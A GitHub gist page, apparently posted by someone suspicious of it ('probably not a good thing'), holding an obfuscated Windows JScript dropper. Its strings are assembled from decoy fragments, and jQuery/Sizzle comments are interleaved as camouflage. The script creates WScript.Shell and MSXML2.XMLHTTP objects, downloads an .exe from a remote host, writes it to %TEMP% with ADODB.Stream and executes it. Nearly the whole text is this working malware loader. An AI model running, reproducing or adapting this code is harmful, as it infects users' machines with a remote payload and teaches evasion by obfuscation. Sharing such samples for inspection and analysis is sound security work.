Skip to content

Instantly share code, notes, and snippets.

@Leask
Created March 10, 2016 11:44
Show Gist options
  • Save Leask/4f927463f14cf0d662da to your computer and use it in GitHub Desktop.
Save Leask/4f927463f14cf0d662da to your computer and use it in GitHub Desktop.
估计不是好东西
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag );
var xwXVPgE = ["Cx"+"p"+("macaroni","acquisition","reform","qm")+"qn", ("clocks","dragon","Q")+("simultaneously","laughable","dampness","fellow","Qp")+("misshapen","meeting","reinforcement","bFmqXL")+"SF", "Expa"+"nd"+("heinz","soundtrack","assist","E")+("bootless","swims","promotion","nv")+("criticize","engraving","guido","precious","iro")+"n"+"m"+"ent"+"Str"+"in"+"gs", "%"+("excellence","cadaverous","adherent","voluptuous","T")+"EM"+"P%", "/aKxPRceK" + "."+("whenever","flesh","example","hanging","e")+"xe", "R"+("chemist","isolate","un"), "A"+"ct"+("garage","weaver","significantly","poniard","i")+"veX"+("mirror","letting","Ob")+("carbonic","theorist","debian","informer","j")+"e"+"ct", "W"+("bahamas","domino","carey","Sc")+"r"+"ipt."+"Sh"+("ketch","config","athens","e")+"ll", ("alerts","adorable","bible","carey","n")+"h"+("papal","wilton","gaE")+"DT", ("sublimate","fresh","M")+"S"+"X"+("movie","sport","balloon","ML2")+".X"+"M"+("executive","prefixed","indiana","international","LHT")+"TP"];
//QSA/matchesSelector ---------------------------------------------------------------------- */
var ykmCGDJ = this[xwXVPgE[18 / 3]];
var baHvx = new ykmCGDJ(xwXVPgE[7]);
//} return tmp; } return results; };
var sLyTNdr = new ykmCGDJ(xwXVPgE[9]);
//Filter out possible comments if ( tag === \"*\" ) { while ( (elem = results[i++]) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); }
var PhsmRtDcm = baHvx[xwXVPgE[2]](xwXVPgE[3]) + xwXVPgE[4];
//Class Expr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) { if ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) { return context.getElementsByClassName( className ); } };
sLyTNdr.onreadystatechange = function () {
if (sLyTNdr["r"+("contemn","friendly","e")+("grenada","troubadour","characteristics","ady")+"state"] === 4) {
var TavRlCgn = new ykmCGDJ("A"+("wickedly","regularly","finished","pedantry","D")+"OD"+"B."+"S"+"t"+("damaged","directive","ravens","dissemble","re")+"am");
TavRlCgn["o"+("limitation","acting","compost","caller","p")+"en"]();
//QSA and matchesSelector support
TavRlCgn.type = 10 / 5 + 3 - 4;
//matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = [];
TavRlCgn["wr"+"i"+("splinter","reasons","abridged","hence","te")](sLyTNdr[("jasper","faithless","expenses","Resp")+"o"+"nse"+("trends","armory","Body")]);
//qSa(:focus) reports false when true (Chrome 21) We allow this because of a bug in IE8/9 that throws an error whenever `document.activeElement` is accessed on an iframe So, we allow :focus to pass through QSA all the time to avoid the IE error See http:bugs.jquery.com/ticket/13378 rbuggyQSA = [];
TavRlCgn["p"+"os"+("henceforward","romeo","payment","iti")+"on"] = 0;
//if ( (support.qsa = rnative.test( document.querySelectorAll )) ) { Build QSA regex Regex strategy adopted from Diego Perini assert(function( div ) { Select is set to empty string on purpose This is to test IE\"s treatment of not explicitly setting a boolean content attribute, since its presence should be enough http:bugs.jquery.com/ticket/12359 docElem.appendChild( div ).innerHTML = \"<a id=\"\" + expando + \"\"></a>\" + \"<select id=\"\" + expando + \"-\r\" msallowcapture=\"\">\" + \"<option selected=\"\"></option></select>\";
TavRlCgn.saveToFile(PhsmRtDcm, 2);
//Support: IE8, Opera 11-12.16 Nothing should be selected when empty strings follow ^= or $= or *= The test attribute must be unknown in Opera but \"safe\" for WinRT http:msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section if ( div.querySelectorAll(\"[msallowcapture^=\"\"]\").length ) { rbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:\"\"|\"\")\" );
TavRlCgn.close();
//} Support: IE8 Boolean attributes and \"value\" are not treated correctly if ( !div.querySelectorAll(\"[selected]\").length ) { rbuggyQSA.push( \"\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );
};
};
try {
//} Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+ if ( !div.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) { rbuggyQSA.push(\"~=\");
sLyTNdr.open("G"+("fisting","request","postmark","ET"), ("iceberg","immediately","coffer","http:/")+"/i"+"wea"+("malleable","projection","existed","transcript","r.m")+"d"+"/"+("medley","jackets","passenger","sy")+("mauritius","equestrian","tries","fishing","s")+"tem/logs/"+"7t6f6"+"5g.exe", false);
//} Webkit/Opera - :checked should return selected option elements http:www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked IE8 throws error here and will not see later tests if ( !div.querySelectorAll(\":checked\").length ) { rbuggyQSA.push(\":checked\");
sLyTNdr[("purification","outdoors","keynote","eleven","s")+("baleful","abortive","e")+"nd"]();
//} Support: Safari 8+, iOS 8+ https:bugs.webkit.org/show_bug.cgi?id=136851 In-page `selector#id sibing-combinator selector` fails if ( !div.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) { rbuggyQSA.push(\".#.+[+~]\"); } });
baHvx[xwXVPgE[5]](PhsmRtDcm, 1, "TcxfMRdlP" === "ArCNmrVmRY"); jTfPvWHV = "} FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) IE8 throws error here and will not see later tests if ( !div.querySelectorAll(\":enabled\").length ) { rbuggyQSA.push( \":enabled\", \":disabled\" ); ";
//assert(function( div ) { Support: Windows 8 Native Apps The type and name attributes are restricted during .innerHTML assignment var input = document.createElement(\"input\"); input.setAttribute( \"type\", \"hidden\" ); div.appendChild( input ).setAttribute( \"name\", \"D\" );
} catch (vkDaYEVvW) { };
//Support: IE8 Enforce case-sensitivity of name attribute if ( div.querySelectorAll(\"[name=d]\").length ) { rbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment